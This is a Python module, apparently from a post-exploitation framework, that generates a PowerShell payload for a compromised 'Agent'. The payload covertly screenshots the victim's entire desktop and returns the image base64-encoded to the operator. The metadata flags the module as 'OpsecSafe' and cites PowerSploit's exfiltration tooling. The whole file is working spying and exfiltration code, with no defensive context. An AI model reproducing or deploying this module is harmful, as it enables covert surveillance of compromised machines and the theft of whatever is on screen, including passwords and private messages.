80 lines
2.6 KiB
Python
80 lines
2.6 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Get-Screenshot',
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'Author': ['@obscuresec', '@harmj0y'],
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'Description': ('Takes a screenshot of the current desktop and '
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'returns the output as a .PNG.'),
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'Background' : False,
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'OutputExtension' : 'png',
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'MinPSVersion' : '2',
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'Comments': [
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'https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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script = """
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function Get-Screenshot
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{
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Add-Type -Assembly System.Windows.Forms
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$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
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$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
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$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
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$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
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$DrawingGraphics.Dispose()
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$ms = New-Object System.IO.MemoryStream
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$ScreenshotObject.save($ms, [Drawing.Imaging.ImageFormat]::Png)
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$ScreenshotObject.Dispose()
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[convert]::ToBase64String($ms.ToArray())
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}
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Get-Screenshot"""
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " " + str(values['Value'])
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return script
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